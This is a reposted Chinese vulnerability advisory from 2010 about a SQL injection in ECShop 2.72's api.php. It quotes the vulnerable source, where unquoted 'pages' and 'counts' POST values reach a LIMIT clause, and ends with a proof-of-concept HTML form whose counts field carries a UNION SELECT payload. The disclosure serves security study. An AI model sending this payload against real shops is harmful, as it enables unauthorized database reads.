文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>ecshop2.72鸡肋注入

ecshop2.72鸡肋注入

时间:2010-11-15  来源:xhming

发布日期:2010-11.15
发布作者:xhming

影响版本:ecshop2.72
官方地址:http://www.ecshop.cn

漏洞类型:SQL注入
漏洞描述:Ecshop是一款网上商城系统,其中在api.php页面产生了SQL注射漏洞。

 

/api.php      .........................       switch ($_POST['act'])      {          case 'search_goods_list': search_goods_list(); break;         //............................          default: api_err('0x008', 'no this type api');   //输出系统级错误:数据异常      }      .........................            function search_goods_list()      {          check_auth();           //检查基本权限 ~~~鸡肋了                       $version = '1.0';   //版本号                if ($_POST['api_version'] != $version)      //网店的接口版本低          {              api_err('0x008', 'a low version api');          }                if (is_numeric($_POST['last_modify_st_time']) && is_numeric($_POST['last_modify_en_time']))          {              $sql = 'SELECT COUNT(*) AS count' .                     ' FROM ' . $GLOBALS['ecs']->table('goods') .                     " WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)";              $date_count = $GLOBALS['db']->getRow($sql);                     if (emptyempty($date_count))              {                  api_err('0x003', 'no data to back');    //无符合条件数据              }                     $page = emptyempty($_POST['pages']) ? 1 : $_POST['pages'];         //没过滤              $counts = emptyempty($_POST['counts']) ? 100 : $_POST['counts'];   //没过滤                  $sql = 'SELECT goods_id, last_update AS last_modify' .                     ' FROM ' . $GLOBALS['ecs']->table('goods') .                     " WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)".                     " LIMIT ".($page - 1) * $counts . ', ' . $counts;         //$counts也没用单引号包含                $date_arr = $GLOBALS['db']->getAll($sql);       ..............................      }             function check_auth()      {          $license = get_shop_license();  // 取出网店 license信息          if (emptyempty($license['certificate_id']) || emptyempty($license['token']) || emptyempty($license['certi']))          {              api_err('0x006', 'no certificate');   //没有证书数据,输出系统级错误:用户权限不够          }                 if (!check_shopex_ac($_POST, $license['token']))          {              api_err('0x009');   //输出系统级错误:签名无效          }                 /* 对应用申请的session进行验证 */         $certi['certificate_id'] = $license['certificate_id']; // 网店证书ID          $certi['app_id'] = 'ecshop_b2c'; // 说明客户端来源          $certi['app_instance_id'] = 'webcollect'; // 应用服务ID          $certi['version'] = VERSION . '#' .  RELEASE; // 网店软件版本号          $certi['format'] = 'json'; // 官方返回数据格式          $certi['certi_app'] = 'sess.valid_session'; // 证书方法         $certi['certi_session'] = $_POST['app_session']; //应用服务器申请的session值          $certi['certi_ac'] = make_shopex_ac($certi, $license['token']); // 网店验证字符串               $request_arr = exchange_shop_license($certi, $license);          if ($request_arr['res'] != 'succ')          {              api_err('0x001', 'session is invalid');   //输出系统级错误:身份验证失败          }      }             function get_shop_license()      {          // 取出网店 license          $sql = "SELECT code, value                  FROM " . $GLOBALS['ecs']->table('shop_config') . "                 WHERE code IN ('certificate_id', 'token', 'certi')                 LIMIT 0,3";          $license_info = $GLOBALS['db']->getAll($sql);          $license_info = is_array($license_info) ? $license_info : array();          $license = array();          foreach ($license_info as $value)          {             $license[$value['code']] = $value['value'];          }               return $license;      }            鸡肋的是check_auth()作了权限检查    

测试EXP:

<form name="p_form" id="p_form" method="post" action="http://127.1/ecshop2.72/api.php" enctype="multipart/form-data">

<input name='act' type="text" value="search_goods_list">

<input name='api_version' type="text" value="1.0">

<input name='last_modify_st_time' type="text" value="1">

<input name='last_modify_en_time' type="text" value="1">

<input name='pages' type="text" value="">

<input name='ac' type="text" value="ac">

<input name='counts' type="text" value="1 union select user(),2">

<input name="sub" type="submit" value="提交" />
 


 

标签分类: SQL注入

相关阅读 更多 +
排行榜 更多 +
瓢虫少女

瓢虫少女

飞行射击 下载
潜艇鱼雷

潜艇鱼雷

飞行射击 下载
网络掠夺者

网络掠夺者

飞行射击 下载